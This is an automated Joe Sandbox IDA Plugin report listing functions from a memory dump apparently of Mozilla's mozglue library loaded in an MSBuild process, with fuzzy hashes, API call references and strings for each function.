Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 63f6774344238bd91a18329871e8df41e9cae2c8320142ed3bd9e6a32a322636
Instruction ID: afe2d4402cceeb7a6c58bccfd8e375fbc8ab9f6cd4d95acc4f3f69d340c92291
Opcode Fuzzy Hash: 63f6774344238bd91a18329871e8df41e9cae2c8320142ed3bd9e6a32a322636
Instruction Fuzzy Hash: B361D331F042168FDB24DE69C889F7E77B1AF96315F294239E664E7F84DB709800C681

Function 6C469D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C468273), ref: 6C469D65
free.MOZGLUE(6C468273,?), ref: 6C469D7C
free.MOZGLUE(?,?), ref: 6C469D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C469E0F
free.MOZGLUE(6C46946B,?,?), ref: 6C469E24
free.MOZGLUE(?,?,?), ref: 6C469E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C469EC8
free.MOZGLUE(6C46946B,?,?,?), ref: 6C469EDF
free.MOZGLUE(?,?,?,?), ref: 6C469EF5

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: eb7c9daec8e1309c110122b718f2a75f9852d20410a9a6a521adbfe96b60a0ed
Instruction ID: f0eb3dbf6efcb87f63359c4edf184bdfc64701565c50266775c2dfd23759f0ff
Opcode Fuzzy Hash: eb7c9daec8e1309c110122b718f2a75f9852d20410a9a6a521adbfe96b60a0ed
Instruction Fuzzy Hash: 81717CB0909B418BD712CF1AC440D5AF3F4FFA9316B44961DE88A9BB45EB31E885CBC1

Function 6C46DDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C46DDCF

Part of subcall function 6C44FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C44FA4B

Part of subcall function 6C4690E0: free.MOZGLUE(?,00000000,?,?,6C46DEDB), ref: 6C4690FF
Part of subcall function 6C4690E0: free.MOZGLUE(?,00000000,?,?,6C46DEDB), ref: 6C469108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C46DE0D
free.MOZGLUE(00000000), ref: 6C46DE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C46DE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C46DEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C46DEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C45DEFD,?,6C424A68), ref: 6C46DF32

Part of subcall function 6C46DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C46DB86
Part of subcall function 6C46DAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C46DC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C45DEFD,?,6C424A68), ref: 6C46DF65
free.MOZGLUE(?), ref: 6C46DF80

Part of subcall function 6C435E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C435EDB
Part of subcall function 6C435E90: memset.VCRUNTIME140(ewGl,000000E5,?), ref: 6C435F27
Part of subcall function 6C435E90: LeaveCriticalSection.KERNEL32(?), ref: 6C435FB2

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: eafa8fc198db381971bb2beb822ee1c3047d2451727f5e137af60df65aca3e66
Instruction ID: 56d2714c5755697535b939b339f85968f6ad5b3fcb0f865ebb22a8e922eb75fb
Opcode Fuzzy Hash: eafa8fc198db381971bb2beb822ee1c3047d2451727f5e137af60df65aca3e66
Instruction Fuzzy Hash: 5751C476601A119BD711DF2AC880FAEB3B2AF95349FA5051DD85A53F04DB31F81ACBC2

Function 6C475D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C475C8C,?,6C44E829), ref: 6C475D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C475C8C,?,6C44E829), ref: 6C475D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C475C8C,?,6C44E829), ref: 6C475D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C475C8C,?,6C44E829), ref: 6C475D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C475C8C,?,6C44E829), ref: 6C475DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C475C8C,?,6C44E829), ref: 6C475DC9
std::_Facet_Register.LIBCPMT ref: 6C475DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C475C8C,?,6C44E829), ref: 6C475E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C475C8C,?,6C44E829), ref: 6C475E45

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 7415f3d60b26e42854220ead12d643e975bfbc682237cb6e1f65708991e9c59f
Instruction ID: 46bd55b8501de188d2e57facd6980f591e228d11a2a06250971051b3db56f30f
Opcode Fuzzy Hash: 7415f3d60b26e42854220ead12d643e975bfbc682237cb6e1f65708991e9c59f
Instruction Fuzzy Hash: A3416F307002158FDB20EF65C898EAE77B6EF89359F14416DE90A9B791DB34D805CBA1

Function 6C44CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C4131A7), ref: 6C44CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C44CFA4, 6C44CFB8
<jemalloc>, xrefs: 6C44CF9F, 6C44CFB3

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 85e6adb04ef1e27d904ef09ab45ce1bfd3d038967400507e4f27799be02488f4
Instruction ID: d4537f742aa6bcf2e9c3c67d8b87930e78f53f3b80a481e031a5b09706b07956
Opcode Fuzzy Hash: 85e6adb04ef1e27d904ef09ab45ce1bfd3d038967400507e4f27799be02488f4
Instruction Fuzzy Hash: 4D319071B402259BFB10FEA58C45F6E7B75EB41B59F388018E611ABBC0DB70D4098BA1

Function 6C41ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C41F100: LoadLibraryW.KERNEL32(shell32,?,6C48D020), ref: 6C41F122
Part of subcall function 6C41F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C41F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C41ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C41EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C41EDCC
CreateFileW.KERNEL32 ref: 6C41EE08
free.MOZGLUE(00000000), ref: 6C41EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C41EE32

Part of subcall function 6C41EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C41EBB5
Part of subcall function 6C41EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C44D7F3), ref: 6C41EBC3
Part of subcall function 6C41EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C44D7F3), ref: 6C41EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C41EDC1

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 225e95f0d4c655e2b8a230d53260137d35cff683c51fba19f89d2de86aaa0490
Instruction ID: edab7a2127c6b4418ca00ea7cd8b80a3f9b62dd03d42b785d4d1da8fe7f9aa4e
Opcode Fuzzy Hash: 225e95f0d4c655e2b8a230d53260137d35cff683c51fba19f89d2de86aaa0490
Instruction Fuzzy Hash: A651C075D093158BDB00DF68C885EBEB7B0AF59318F44852DE89567F40E730A949C7E2

Function 6C48A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C48A565

Part of subcall function 6C48A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C48A4BE
Part of subcall function 6C48A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C48A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C48A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C48A6B6

Strings

0, xrefs: 6C48A5FB
z, xrefs: 6C48A6AE

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: e43bd0ccdbdcf8013205010a05e668c283158d5cbd366fe262692e72bd5ca61d
Instruction ID: 6c6aaa7f9fb410a6c6121853dc3c43f577639694a9bbee118a33ecaeff752f89
Opcode Fuzzy Hash: e43bd0ccdbdcf8013205010a05e668c283158d5cbd366fe262692e72bd5ca61d
Instruction Fuzzy Hash: 9B4147719097459FC341DF28C080E9BBBE5BF89358F408A2EF49997794EB70D549CB82

Function 6C4178C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C49008B), ref: 6C417B89
free.MOZGLUE(?,6C49008B), ref: 6C417BAC

Part of subcall function 6C4178C0: free.MOZGLUE(?,6C49008B), ref: 6C417BCF

free.MOZGLUE(?,6C49008B), ref: 6C417BF2

Part of subcall function 6C435E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C435EDB
Part of subcall function 6C435E90: memset.VCRUNTIME140(ewGl,000000E5,?), ref: 6C435F27
Part of subcall function 6C435E90: LeaveCriticalSection.KERNEL32(?), ref: 6C435FB2

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: a7b07b809a04270dbfb52bdcca906d14e5ae447ad8cc48b17a8fc702c1d05f73
Instruction ID: 057caec67c7c3c14549caf8c793a3be32581df191439c3d0a09e6421017146bf
Opcode Fuzzy Hash: a7b07b809a04270dbfb52bdcca906d14e5ae447ad8cc48b17a8fc702c1d05f73
Instruction Fuzzy Hash: 28C18371E0D1288BEB24CB28CC90FADB772AF41318F1543A9D55AA7FC1D7319E858B91

Function 6C459420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C44AB89: EnterCriticalSection.KERNEL32(6C49E370,?,?,?,6C4134DE,6C49F6CC,?,?,?,?,?,?,?,6C413284), ref: 6C44AB94
Part of subcall function 6C44AB89: LeaveCriticalSection.KERNEL32(6C49E370,?,6C4134DE,6C49F6CC,?,?,?,?,?,?,?,6C413284,?,?,6C4356F6), ref: 6C44ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C424A68), ref: 6C45945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C459470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C459482
__Init_thread_footer.LIBCMT ref: 6C45949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C45947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C45946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C459459

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: fbc71ec76c02f5f2e66e9ebd034e0ef4a86cd95b79e67f289c5d52d9a5ff5dcd
Instruction ID: 4114197cd822658864a69b2999928d09f4de64e0f4701973bea06c8b9878c8dc
Opcode Fuzzy Hash: fbc71ec76c02f5f2e66e9ebd034e0ef4a86cd95b79e67f289c5d52d9a5ff5dcd
Instruction Fuzzy Hash: FF01D8B0A051618BEB00EF9CD811E86377AEB36329F14453AED0686B41D732D8768A97

Function 6C460F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C460F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C460F88
GetCurrentThreadId.KERNEL32 ref: 6C460FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C461067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C4610A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C46114B

Part of subcall function 6C458AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C471563), ref: 6C458BD5

free.MOZGLUE(?), ref: 6C461174
free.MOZGLUE(?), ref: 6C461186

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: afdd26d24537452fb0d84c0e8d3f071d746f48462028484d7bfac628f0eaf08c
Instruction ID: 657b205f3d4ea5438bd37f91f6a151812dadc2622e5546528992b316d980b1c6
Opcode Fuzzy Hash: afdd26d24537452fb0d84c0e8d3f071d746f48462028484d7bfac628f0eaf08c
Instruction Fuzzy Hash: 2561BF75A043409BDB10DF26C880F9AB7F6BFD9308F14891DE88947B15EB71E949CB82

Function 6C41B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C41B61E,?,?,?,?,?,00000000), ref: 6C41B6AC

Part of subcall function 6C42CA10: malloc.MOZGLUE(?), ref: 6C42CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C41B61E,?,?,?,?,?,00000000), ref: 6C41B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C41B61E,?,?,?,?,?,00000000), ref: 6C41B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C41B61E,?,?,?,?,?,00000000), ref: 6C41B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C41B61E,?,?,?,?,?,00000000), ref: 6C41B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C41B61E), ref: 6C41B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C41B61E,?,?,?,?,?,00000000), ref: 6C41B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C41B61E,?,?,?,?,?,00000000), ref: 6C41B79A

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 39524a7f34d347ca2c9859ac234c939427323ebcbb8051c39de72f88d2ef0ceb
Instruction ID: 69f033f11ce1afdb9b9e64a9e5ca1581ed2259063c54c068c759d3fb8e0710a6
Opcode Fuzzy Hash: 39524a7f34d347ca2c9859ac234c939427323ebcbb8051c39de72f88d2ef0ceb
Instruction Fuzzy Hash: D241B1B2D041158FCB00DF68DC80EBEB7B5BB94324F250629E865E7B80E731E90587E1

Function 6C41EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C495104), ref: 6C41EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C41EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C41EFEC
free.MOZGLUE(?), ref: 6C41F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C41F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C41F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C41F065
moz_xmalloc.MOZGLUE ref: 6C41F072

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 3dd71953b33e9479f2d719ae4177f50d98a92b309ea7b8b3dc83817fbf6f6ee2
Instruction ID: 9fcb5f38d42a1898448748fba23e180182a8e2c076bc7130ef4650a905d5d0f8
Opcode Fuzzy Hash: 3dd71953b33e9479f2d719ae4177f50d98a92b309ea7b8b3dc83817fbf6f6ee2
Instruction Fuzzy Hash: 854126B1A042019FDB08CF68D881DBE7765BF94324B24022CED15DBB94EB31E916C7E1

Function 6C48B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C48B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C48B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C48B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C48B5F4
__Init_thread_footer.LIBCMT ref: 6C48B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C48B61F
std::_Facet_Register.LIBCPMT ref: 6C48B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C48B655

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 77aa48fd6c4823fdd5ffbf8fefb1dd5a53a84d696215e2659dcd643db11b8d4e
Instruction ID: e12cd6e5542610be0712d3b1312bdd01ddb303a667862dea9c3e80a22147d26b
Opcode Fuzzy Hash: 77aa48fd6c4823fdd5ffbf8fefb1dd5a53a84d696215e2659dcd643db11b8d4e
Instruction Fuzzy Hash: B931A471B01124CFDB10EF69C894DAEB7B5FF95329B140619E90297790DB34A906CBD1

Function 6C456590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C44FA80: GetCurrentThreadId.KERNEL32 ref: 6C44FA8D
Part of subcall function 6C44FA80: AcquireSRWLockExclusive.KERNEL32(6C49F448), ref: 6C44FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C456727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C4567C8

Part of subcall function 6C464290: memcpy.VCRUNTIME140(?,?,6C472003,6C470AD9,?,6C470AD9,00000000,?,6C470AD9,?,00000004,?,6C471A62,?,6C472003,?), ref: 6C4642C4

Strings

data, xrefs: 6C456593
vIl, xrefs: 6C45696C

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vIl
API String ID: 511789754-926576652
Opcode ID: c2d3bce361e955b8e70c4ce4965ed3d8755e45521b59dd9ba1229690410d4268
